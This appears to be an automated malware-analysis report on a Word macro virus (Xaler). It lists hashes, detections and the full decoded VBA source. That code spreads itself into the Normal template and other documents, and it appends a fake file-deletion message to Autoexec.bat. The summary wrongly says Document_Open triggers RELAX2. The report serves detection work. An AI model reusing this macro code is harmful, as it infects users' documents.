Office (OLE) malware analysis — malicious · d8f464bd247ff3d2

MALICIOUS

Office (OLE)

61.5 KB Created: 2003-12-16 12:55:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14

MD5: 23906ea7bb2f223e05d112f1ae2bb40d SHA-1: 0f0fcae89fb68bc8c1e7f05d89a9ee4c1d2ec99e SHA-256: d8f464bd247ff3d2a5e90d4184dbce14b27f9b92e098289637131e2676d7c776

180 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The Document_Open macro triggers the execution of the RELAX2 subroutine, which conditionally writes a batch script to 'C:\Autoexec.bat'. This script contains messages about deleting files and prompts the user to pause, indicating a destructive intent. The presence of VBA macros and the potential for a destructive payload suggest a malicious document, likely delivered via spearphishing.

Heuristics 3

ClamAV: Doc.Trojan.Xaler-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Xaler-1
VBA macros detected medium 1 related finding OLE_VBA_MACROS

Document contains VBA macro code
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	2523 bytes
SHA-256: `53715c99af4ccd436b6c9d93e650c301f483e360926d4fd3e93559ae0d60f159`
Detection ClamAV: Doc.Trojan.Xaler-1 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True 'RELAX Private Sub RELAX2() If Day(Date) Mod 10 = 0 And Month(Date) Mod 4 = 0 Then Open "C:\Autoexec.bat" For Append As #1 Print #1, "Cls" Print #1, "@ECHO OFF" Print #1, "ECHO NOTE!!!" Print #1, "ECHO *" Print #1, "ECHO *" Print #1, "ECHO ***" Print #1, "ECHO *" Print #1, "ECHO " Print #1, "ECHO Sometimes you must RELAX." Print #1, "ECHO Please, RELAX while deleting all files in C:\" Print #1, "ECHO **" Print #1, "ECHO ***" Print #1, "ECHO *" Print #1, "ECHO GREECE" Print #1, "ECHO ==================================" Print #1, "PAUSE" Print #1, "CLS" Print #1, "ECHO All files deleted!!!" Print #1, "ECHO Now, you have a clean COMPUTER." Print #1, "ECHO ***" Print #1, "ECHO *****" Print #1, "PAUSE" Print #1, "@ECHO ON" Close #1 End If End Sub Private Sub Document_Close() Call GOODSub Call RELAX2 End Sub Private Sub GOODSub() On Error Resume Next Application.ScreenUpdating = False Application.Options.SaveNormalPrompt = False x$ = "C:\temp.tmp" MacroContainer.VBProject.vbcomponents.Item("ThisDocument").Export x$ Open x$ For Input As #1 keimeno = Input(LOF(1), 1) Close #1 kk& = InStr(1, keimeno, "'RELAX") keimeno = Right$(keimeno, Len(keimeno) - kk& + 1) For j = 1 To 2 If j = 1 Then NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").Export x$ Else ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").Export x$ End If Open x$ For Input As #1 rlx = Input(LOF(1), 1) Close #1 d1 = InStr(1, rlx, "'RELAX") If d1 = 0 Then If j = 1 Then NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno NormalTemplate.Save Else ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno End If End If Next j '==================== Dim PRostasia As Byte PRostasia = 1 fff = FreeFile If Dir(ActiveDocument.FullName, 6) <> "" Then Open ActiveDocument.FullName For Binary As #fff Put #fff, 862, PRostasia Close #fff ActiveDocument.Save End If Kill x$ Application.ScreenUpdating = True End Sub Private Sub Document_Open() Call GOODSub End Sub

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